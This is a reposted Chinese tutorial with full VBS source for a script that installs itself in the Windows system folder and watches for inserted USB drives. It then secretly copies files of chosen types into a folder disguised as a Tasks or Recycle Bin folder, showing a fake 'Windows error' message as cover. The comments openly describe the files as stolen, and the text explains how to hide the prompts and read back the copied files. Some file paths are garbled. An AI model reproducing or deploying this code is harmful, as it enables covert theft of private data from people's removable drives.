自動復制U盤文件的VBS腳本

2020-07-26 11:52:32

字體：大中小

來源：轉載

供稿：網友

以下為演示：
一、設置
右鍵單擊，選擇編輯
oStr = "txt|jpg|doc" '你要竊取的文件類型,可以自行添加，用“|”隔開
oDistPath = "C://windows//system//" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 0 '將保存的文件夾進行偽裝 1為task文件夾，2為recycler文件夾，0為不偽裝
oOut = 1 '1復制完畢后退出,0復制完畢后不退出，繼續循環

二、保存后運行
會出現安裝成功對話框，如果不希望出現該對話框，可以將“Msgbox "安裝成功"”注釋掉。

此時腳本已經在循環監測U盤的插入

三、插入U盤
U盤插入后，就開始文件的復制。復制完成后會出現提示對話框。
如果不希望出現該對話框，可以將 “Msgbox "Windows 錯誤",64”注釋掉

四、尋找文件
此時，文件已經在目標文件夾中。我將oType 設置為1，所以該文件夾成了task文件夾，此時雙擊打開是看不到其中的文件的。

這種情況可以通過rar壓縮包瀏覽，將其中的desktop.ini文件刪除，文件夾就會變成普通文件夾。

ww
這時就能打開文件夾看到其中的內容。

Copy.log記錄的是原文件及復制后的文件。

vbs代碼

復制代碼代碼如下:

oStr = "txt|jpg|doc" '文件類型，添加文件類型用“|”隔開 
oDistPath = "C://windows//system//" '保存路徑 
oFolderName = "Task" '保存文件夾名稱 
oType = 1 '1為task文件夾，2為recycler文件夾，0為不隱藏 
oOut = 1 '1復制完畢后退出,0復制完畢后不退出，繼續循環 
'By:白開 QQ:343229025 
Set fso=CreateObject("scripting.filesystemobject") 
Set wshell=CreateObject("WScript.shell") 

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"/Baikai.vbs" Then '如果是在system32 

'文件夾不存在則創建 
If (not fso.FolderExists(oDistPath & oFolderName)) Then 
fso.CreateFolder(oDistPath & oFolderName) 
End If 
'創建記錄文件 
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"http://Copy.log",True) 
'循環監測移動存儲設備插入 
Do 
For Each oDriver In fso.Drives 
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then 
TreeIt(oDriver) 
Msgbox "Windows 錯誤",64 
If(oOut=1) then 
Exit Do 
End if 
End If 
Next 
WScript.Sleep 15000 
Loop 
Mylog.Close 

'隱藏文件夾 
oHideFolder oDistPath,oFolderName,oType 


else '如果是其它目錄，先安裝 
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"/Baikai.vbs",True 
wshell.Run fso.GetSpecialFolder(1)&"/Baikai.vbs" 
Msgbox "安裝成功" 
end if 


Set fso=nothing 
Set wshell=nothing 



'遍歷目錄函數 
Function TreeIt(sPath) 
Set oFolder = fso.GetFolder(sPath) 
Set oSubFolders = oFolder.Subfolders 

Set oFiles = oFolder.Files 
For Each oFile In oFiles 
oCopyFile oFile.Path,oDistPath,oFolderName 
Next 

For Each oSubFolder In oSubFolders 
TreeIt(oSubFolder.Path) 
Next 

Set oFolder = Nothing 
Set oSubFolders = Nothing 

End Function 

'復制文件函數 
Function oCopyFile(FileName,oDistPath,oFolderName) 
Ext = fso.GetExtensionName(FileName) 
If(instr(oStr,lcase(Ext))) then 
Randomize 
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext 
fso.CopyFile FileName,oDistPath&oFolderName&"http://"&tempname,true 
Mylog.writeline FileName 
Mylog.writeline tempname 
End If 
End Function 

'隱藏文件夾函數 
Sub oHideFolder(oDistPath,oFolderName,oType) 

Select Case oType 
case 1 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"http://desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}") 
case 2 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"http://desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}") 
case 0 
Exit sub 
End Select 
Set inf=nothing 

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) 
SysoFolder.attributes=4 
Set SysoFolder=nothing 

End sub 

'By:白開 QQ:343229025